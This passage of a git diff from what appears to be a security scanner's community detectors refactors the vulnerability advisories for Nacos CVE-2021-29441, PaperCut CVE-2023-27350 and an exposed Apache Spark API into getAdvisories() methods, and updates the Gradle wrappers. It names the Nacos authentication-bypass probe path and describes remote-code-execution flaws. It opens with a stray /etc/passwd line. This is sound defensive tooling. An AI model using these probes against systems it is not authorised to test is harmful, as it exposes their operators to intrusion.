+_apt:x:100:65534::/nonexistent:/usr/sbin/nologin diff --git a/community/detectors/nacos_cve_2021_29441/gradle/wrapper/gradle-wrapper.jar b/community/detectors/nacos_cve_2021_29441/gradle/wrapper/gradle-wrapper.jar index d64cd4917..1b33c55ba 100644 Binary files a/community/detectors/nacos_cve_2021_29441/gradle/wrapper/gradle-wrapper.jar and b/community/detectors/nacos_cve_2021_29441/gradle/wrapper/gradle-wrapper.jar differ diff --git a/community/detectors/nacos_cve_2021_29441/gradle/wrapper/gradle-wrapper.properties b/community/detectors/nacos_cve_2021_29441/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/community/detectors/nacos_cve_2021_29441/gradle/wrapper/gradle-wrapper.properties +++ b/community/detectors/nacos_cve_2021_29441/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/community/detectors/nacos_cve_2021_29441/gradlew b/community/detectors/nacos_cve_2021_29441/gradlew index 1aa94a426..23d15a936 100755 --- a/community/detectors/nacos_cve_2021_29441/gradlew +++ b/community/detectors/nacos_cve_2021_29441/gradlew @@ -15,6 +15,8 @@ # See the License for the specific language governing permissions and # limitations under the License. # +# SPDX-License-Identifier: Apache-2.0 +# ############################################################################## # @@ -55,7 +57,7 @@ # Darwin, MinGW, and NonStop. # # (3) This script is generated from the Groovy template -# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt # within the Gradle project. # # You can find Gradle at https://github.com/gradle/gradle/. @@ -84,7 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -112,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -203,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -211,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/community/detectors/nacos_cve_2021_29441/gradlew.bat b/community/detectors/nacos_cve_2021_29441/gradlew.bat index 93e3f59f1..db3a6ac20 100644 --- a/community/detectors/nacos_cve_2021_29441/gradlew.bat +++ b/community/detectors/nacos_cve_2021_29441/gradlew.bat @@ -13,6 +13,8 @@ @rem See the License for the specific language governing permissions and @rem limitations under the License. @rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem @if "%DEBUG%"=="" @echo off @rem ########################################################################## @@ -43,11 +45,11 @@ set JAVA_EXE=java.exe %JAVA_EXE% -version >NUL 2>&1 if %ERRORLEVEL% equ 0 goto execute -echo. -echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail @@ -57,22 +59,22 @@ set JAVA_EXE=%JAVA_HOME%/bin/java.exe if exist "%JAVA_EXE%" goto execute -echo. -echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/community/detectors/nacos_cve_2021_29441/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202129441/Cve202129441VulnDetector.java b/community/detectors/nacos_cve_2021_29441/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202129441/Cve202129441VulnDetector.java index ed68bfc54..c60b37af1 100644 --- a/community/detectors/nacos_cve_2021_29441/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202129441/Cve202129441VulnDetector.java +++ b/community/detectors/nacos_cve_2021_29441/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202129441/Cve202129441VulnDetector.java @@ -66,6 +66,7 @@ public final class Cve202129441VulnDetector implements VulnDetector { private static final String CHECK_VUL_PATH = "nacos/v1/auth/users/?pageNo=1&pageSize=9"; @VisibleForTesting static final String DETECTION_STRING = "pageItems"; + @VisibleForTesting static final String VULN_DESCRIPTION = "Nacos is a platform designed for dynamic service discovery and configuration" @@ -101,6 +102,25 @@ public DetectionReportList detect( .build(); } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("TSUNAMI_COMMUNITY") + .setValue("CVE_2021_29441")) + .addRelatedId( + VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2021-29441")) + .setSeverity(Severity.CRITICAL) + .setTitle("CVE-2021-29441 Nacos Authentication Bypass Via Backdoor") + .setRecommendation( + "Configure nacos.core.auth.enabled to true, upgrade nacos to the latest" + + " version, configure custom authentication key-value pair information") + .setDescription(VULN_DESCRIPTION) + .build()); + } + private boolean isServiceVulnerable(NetworkService networkService) { String targetUri = NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + CHECK_VUL_PATH; @@ -131,18 +151,7 @@ private DetectionReport buildDetectionReport( .setNetworkService(vulnerableNetworkService) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("CVE_2021_29441")) - .setSeverity(Severity.CRITICAL) - .setTitle("CVE-2021-29441 Nacos Authentication Bypass Via Backdoor") - .setRecommendation( - "Configure nacos.core.auth.enabled to true, upgrade nacos to the latest" - + " version, configure custom authentication key-value pair information") - .setDescription(VULN_DESCRIPTION)) + .setVulnerability(this.getAdvisories().get(0)) .build(); } } diff --git a/community/detectors/nacos_cve_2021_29441/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202129441/Cve202129441VulnDetectorTest.java b/community/detectors/nacos_cve_2021_29441/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202129441/Cve202129441VulnDetectorTest.java index 1e9bf0b84..7e0d32fba 100644 --- a/community/detectors/nacos_cve_2021_29441/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202129441/Cve202129441VulnDetectorTest.java +++ b/community/detectors/nacos_cve_2021_29441/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202129441/Cve202129441VulnDetectorTest.java @@ -29,12 +29,9 @@ import com.google.tsunami.proto.DetectionReportList; import com.google.tsunami.proto.DetectionStatus; import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; import com.google.tsunami.proto.Software; import com.google.tsunami.proto.TargetInfo; import com.google.tsunami.proto.TransportProtocol; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; import java.io.IOException; import java.time.Instant; import javax.inject.Inject; @@ -98,19 +95,7 @@ public void detect_whenVulnerable_returnsVulnerability() throws IOException { .setDetectionTimestamp( Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("CVE_2021_29441")) - .setSeverity(Severity.CRITICAL) - .setTitle("CVE-2021-29441 Nacos Authentication Bypass Via Backdoor") - .setRecommendation( - "Configure nacos.core.auth.enabled to true, upgrade nacos to the latest" - + " version, configure custom authentication key-value pair" - + " information") - .setDescription(Cve202129441VulnDetector.VULN_DESCRIPTION)) + .setVulnerability(detector.getAdvisories().get(0)) .build()); } diff --git a/community/detectors/papercut_ng_mf_cve_2023_27350/gradle/wrapper/gradle-wrapper.jar b/community/detectors/papercut_ng_mf_cve_2023_27350/gradle/wrapper/gradle-wrapper.jar index d64cd4917..1b33c55ba 100644 Binary files a/community/detectors/papercut_ng_mf_cve_2023_27350/gradle/wrapper/gradle-wrapper.jar and b/community/detectors/papercut_ng_mf_cve_2023_27350/gradle/wrapper/gradle-wrapper.jar differ diff --git a/community/detectors/papercut_ng_mf_cve_2023_27350/gradle/wrapper/gradle-wrapper.properties b/community/detectors/papercut_ng_mf_cve_2023_27350/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/community/detectors/papercut_ng_mf_cve_2023_27350/gradle/wrapper/gradle-wrapper.properties +++ b/community/detectors/papercut_ng_mf_cve_2023_27350/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/community/detectors/papercut_ng_mf_cve_2023_27350/gradlew b/community/detectors/papercut_ng_mf_cve_2023_27350/gradlew index 1aa94a426..23d15a936 100755 --- a/community/detectors/papercut_ng_mf_cve_2023_27350/gradlew +++ b/community/detectors/papercut_ng_mf_cve_2023_27350/gradlew @@ -15,6 +15,8 @@ # See the License for the specific language governing permissions and # limitations under the License. # +# SPDX-License-Identifier: Apache-2.0 +# ############################################################################## # @@ -55,7 +57,7 @@ # Darwin, MinGW, and NonStop. # # (3) This script is generated from the Groovy template -# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt # within the Gradle project. # # You can find Gradle at https://github.com/gradle/gradle/. @@ -84,7 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -112,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -203,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -211,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/community/detectors/papercut_ng_mf_cve_2023_27350/gradlew.bat b/community/detectors/papercut_ng_mf_cve_2023_27350/gradlew.bat index 93e3f59f1..db3a6ac20 100644 --- a/community/detectors/papercut_ng_mf_cve_2023_27350/gradlew.bat +++ b/community/detectors/papercut_ng_mf_cve_2023_27350/gradlew.bat @@ -13,6 +13,8 @@ @rem See the License for the specific language governing permissions and @rem limitations under the License. @rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem @if "%DEBUG%"=="" @echo off @rem ########################################################################## @@ -43,11 +45,11 @@ set JAVA_EXE=java.exe %JAVA_EXE% -version >NUL 2>&1 if %ERRORLEVEL% equ 0 goto execute -echo. -echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail @@ -57,22 +59,22 @@ set JAVA_EXE=%JAVA_HOME%/bin/java.exe if exist "%JAVA_EXE%" goto execute -echo. -echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/community/detectors/papercut_ng_mf_cve_2023_27350/src/main/java/com/google/tsunami/plugins/papercut/PapercutNgMfVulnDetector.java b/community/detectors/papercut_ng_mf_cve_2023_27350/src/main/java/com/google/tsunami/plugins/papercut/PapercutNgMfVulnDetector.java index d6d2a46cc..5ea4645a9 100644 --- a/community/detectors/papercut_ng_mf_cve_2023_27350/src/main/java/com/google/tsunami/plugins/papercut/PapercutNgMfVulnDetector.java +++ b/community/detectors/papercut_ng_mf_cve_2023_27350/src/main/java/com/google/tsunami/plugins/papercut/PapercutNgMfVulnDetector.java @@ -85,6 +85,33 @@ public DetectionReportList detect( .build(); } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("TSUNAMI_COMMUNITY") + .setValue("CVE_2023_27350")) + .addRelatedId( + VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2023-27350")) + .setSeverity(Severity.CRITICAL) + .setTitle("Papercut NG/MF Authentication Bypass and RCE") + .setDescription( + "This vulnerability allows remote attackers to bypass authentication" + + " on affected installations of PaperCut NG/MF." + + " Authentication is not required to exploit this vulnerability." + + " The specific flaw exists within the SetupCompleted class and the" + + " issue results from improper access control." + + " An attacker can leverage this vulnerability to bypass authentication" + + " and execute arbitrary code in the context of SYSTEM (Windows) " + + "or Root/Papercut User (Linux).") + .setRecommendation( + "Update to versions that are at least 20.1.7, 21.2.11, 22.0.9, or any later" + + " version.") + .build()); + } + private boolean isServiceVulnerable(NetworkService networkService) { boolean isVulnerable = false; @@ -201,26 +228,7 @@ private DetectionReport buildDetectionReport( .setNetworkService(vulnerableNetworkService) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("CVE_2023_27350")) - .setSeverity(Severity.CRITICAL) - .setTitle("Papercut NG/MF Authentication Bypass and RCE") - .setDescription( - "This vulnerability allows remote attackers to bypass authentication" - + " on affected installations of PaperCut NG/MF." - + " Authentication is not required to exploit this vulnerability." - + " The specific flaw exists within the SetupCompleted class and the" - + " issue results from improper access control." - + " An attacker can leverage this vulnerability to bypass authentication" - + " and execute arbitrary code in the context of SYSTEM (Windows) " - + "or Root/Papercut User (Linux).") - .setRecommendation( - "Update to versions that are at least 20.1.7, 21.2.11, 22.0.9, or any later" - + " version.")) + .setVulnerability(this.getAdvisories().get(0)) .build(); } } diff --git a/community/detectors/papercut_ng_mf_cve_2023_27350/src/test/java/com/google/tsunami/plugins/papercut/PapercutNgMfVulnDetectorTest.java b/community/detectors/papercut_ng_mf_cve_2023_27350/src/test/java/com/google/tsunami/plugins/papercut/PapercutNgMfVulnDetectorTest.java index bb6cddb5c..0b10fa176 100644 --- a/community/detectors/papercut_ng_mf_cve_2023_27350/src/test/java/com/google/tsunami/plugins/papercut/PapercutNgMfVulnDetectorTest.java +++ b/community/detectors/papercut_ng_mf_cve_2023_27350/src/test/java/com/google/tsunami/plugins/papercut/PapercutNgMfVulnDetectorTest.java @@ -32,12 +32,9 @@ import com.google.tsunami.proto.DetectionReportList; import com.google.tsunami.proto.DetectionStatus; import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; import com.google.tsunami.proto.Software; import com.google.tsunami.proto.TargetInfo; import com.google.tsunami.proto.TransportProtocol; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; import java.io.IOException; import java.security.SecureRandom; import java.time.Instant; @@ -112,25 +109,7 @@ public void setUp() throws IOException { .setNetworkService(papercutService) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("CVE_2023_27350")) - .setSeverity(Severity.CRITICAL) - .setTitle("Papercut NG/MF Authentication Bypass and RCE") - .setDescription( - "This vulnerability allows remote attackers to bypass authentication on" - + " affected installations of PaperCut NG/MF. Authentication is not" - + " required to exploit this vulnerability. The specific flaw exists" - + " within the SetupCompleted class and the issue results from improper" - + " access control. An attacker can leverage this vulnerability to" - + " bypass authentication and execute arbitrary code in the context of" - + " SYSTEM (Windows) or Root/Papercut User (Linux).") - .setRecommendation( - "Update to versions that are at least 20.1.7, 21.2.11, 22.0.9, or any later" - + " version.")) + .setVulnerability(detector.getAdvisories().get(0)) .build(); } diff --git a/community/detectors/rce/apache_spark_exposed_api/gradle/wrapper/gradle-wrapper.jar b/community/detectors/rce/apache_spark_exposed_api/gradle/wrapper/gradle-wrapper.jar index e6441136f..1b33c55ba 100644 Binary files a/community/detectors/rce/apache_spark_exposed_api/gradle/wrapper/gradle-wrapper.jar and b/community/detectors/rce/apache_spark_exposed_api/gradle/wrapper/gradle-wrapper.jar differ diff --git a/community/detectors/rce/apache_spark_exposed_api/gradle/wrapper/gradle-wrapper.properties b/community/detectors/rce/apache_spark_exposed_api/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/community/detectors/rce/apache_spark_exposed_api/gradle/wrapper/gradle-wrapper.properties +++ b/community/detectors/rce/apache_spark_exposed_api/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/community/detectors/rce/apache_spark_exposed_api/gradlew b/community/detectors/rce/apache_spark_exposed_api/gradlew index 1aa94a426..23d15a936 100755 --- a/community/detectors/rce/apache_spark_exposed_api/gradlew +++ b/community/detectors/rce/apache_spark_exposed_api/gradlew @@ -15,6 +15,8 @@ # See the License for the specific language governing permissions and # limitations under the License. # +# SPDX-License-Identifier: Apache-2.0 +# ############################################################################## # @@ -55,7 +57,7 @@ # Darwin, MinGW, and NonStop. # # (3) This script is generated from the Groovy template -# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt # within the Gradle project. # # You can find Gradle at https://github.com/gradle/gradle/. @@ -84,7 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -112,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -203,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -211,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/community/detectors/rce/apache_spark_exposed_api/gradlew.bat b/community/detectors/rce/apache_spark_exposed_api/gradlew.bat index 25da30dbd..db3a6ac20 100644 --- a/community/detectors/rce/apache_spark_exposed_api/gradlew.bat +++ b/community/detectors/rce/apache_spark_exposed_api/gradlew.bat @@ -13,6 +13,8 @@ @rem See the License for the specific language governing permissions and @rem limitations under the License. @rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem @if "%DEBUG%"=="" @echo off @rem ########################################################################## @@ -68,11 +70,11 @@ goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/community/detectors/rce/apache_spark_exposed_api/src/main/java/com/google/tsunami/plugins/detectors/rce/apachesparksexposedapi/ApacheSparksExposedApiVulnDetector.java b/community/detectors/rce/apache_spark_exposed_api/src/main/java/com/google/tsunami/plugins/detectors/rce/apachesparksexposedapi/ApacheSparksExposedApiVulnDetector.java index d3ae700f0..2c1e3854c 100644 --- a/community/detectors/rce/apache_spark_exposed_api/src/main/java/com/google/tsunami/plugins/detectors/rce/apachesparksexposedapi/ApacheSparksExposedApiVulnDetector.java +++ b/community/detectors/rce/apache_spark_exposed_api/src/main/java/com/google/tsunami/plugins/detectors/rce/apachesparksexposedapi/ApacheSparksExposedApiVulnDetector.java @@ -72,6 +72,26 @@ public final class ApacheSparksExposedApiVulnDetector implements VulnDetector { this.payloadGenerator = checkNotNull(payloadGenerator); } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("TSUNAMI_COMMUNITY") + .setValue("Apache_Spark_Exposed_Api")) + .setSeverity(Severity.CRITICAL) + .setTitle("Exposed Apache Spark API which allows unauthenticated RCE detected.") + .setDescription( + "An exposed Apache Spark API allows an unauthenticated attacker to submit a" + + " malicious task. If an Apache Spark worker processes such a task, it" + + " loads and executes attacker-controlled content from an external" + + " resource. This allows an attacker to execute arbitrary Java Code within" + + " the context of the worker node.") + .setRecommendation("Don't expose the Apache Spark API to unauthenticated attackers.") + .build()); + } + @Override public DetectionReportList detect( TargetInfo targetInfo, ImmutableList matchedServices) { @@ -144,22 +164,7 @@ private DetectionReport buildDetectionReport( .setNetworkService(vulnerableNetworkService) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("Apache_Spark_Exposed_Api")) - .setSeverity(Severity.CRITICAL) - .setTitle("Exposed Apache Spark API which allows unauthenticated RCE detected.") - .setDescription( - "An exposed Apache Spark API allows an unauthenticated attacker to submit a" - + " malicious task. If an Apache Spark worker processes such a task, it" - + " loads and executes attacker-controlled content from an external" - + " resource. This allows an attacker to execute arbitrary Java Code within" - + " the context of the worker node.") - .setRecommendation( - "Don't expose the Apache Spark API to unauthenticated attackers.")) + .setVulnerability(this.getAdvisories().get(0)) .build(); } } diff --git a/community/detectors/rce/apache_spark_exposed_api/src/test/java/com/google/tsunami/plugins/detectors/rce/apachesparksexposedapi/ApacheSparksExposedApiVulnDetectorTest.java b/community/detectors/rce/apache_spark_exposed_api/src/test/java/com/google/tsunami/plugins/detectors/rce/apachesparksexposedapi/ApacheSparksExposedApiVulnDetectorTest.java index df23f6f7d..102ac0b36 100644 --- a/community/detectors/rce/apache_spark_exposed_api/src/test/java/com/google/tsunami/plugins/detectors/rce/apachesparksexposedapi/ApacheSparksExposedApiVulnDetectorTest.java +++ b/community/detectors/rce/apache_spark_exposed_api/src/test/java/com/google/tsunami/plugins/detectors/rce/apachesparksexposedapi/ApacheSparksExposedApiVulnDetectorTest.java @@ -36,11 +36,8 @@ import com.google.tsunami.proto.DetectionStatus; import com.google.tsunami.proto.NetworkEndpoint; import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; import com.google.tsunami.proto.TargetInfo; import com.google.tsunami.proto.TransportProtocol; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; import java.io.IOException; import java.time.Instant; import javax.inject.Inject; @@ -124,23 +121,7 @@ public void detect_ifVulnerable_reportsVuln() throws IOException { .setDetectionTimestamp( Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("Apache_Spark_Exposed_Api")) - .setSeverity(Severity.CRITICAL) - .setTitle( - "Exposed Apache Spark API which allows unauthenticated RCE detected.") - .setDescription( - "An exposed Apache Spark API allows an unauthenticated attacker to" - + " submit a malicious task. If an Apache Spark worker processes" - + " such a task, it loads and executes attacker-controlled content" - + " from an external resource. This allows an attacker to execute" - + " arbitrary Java Code within the context of the worker node.") - .setRecommendation( - "Don't expose the Apache Spark API to unauthenticated attackers.")) + .setVulnerability(detector.getAdvisories().get(0)) .build()); } diff --git 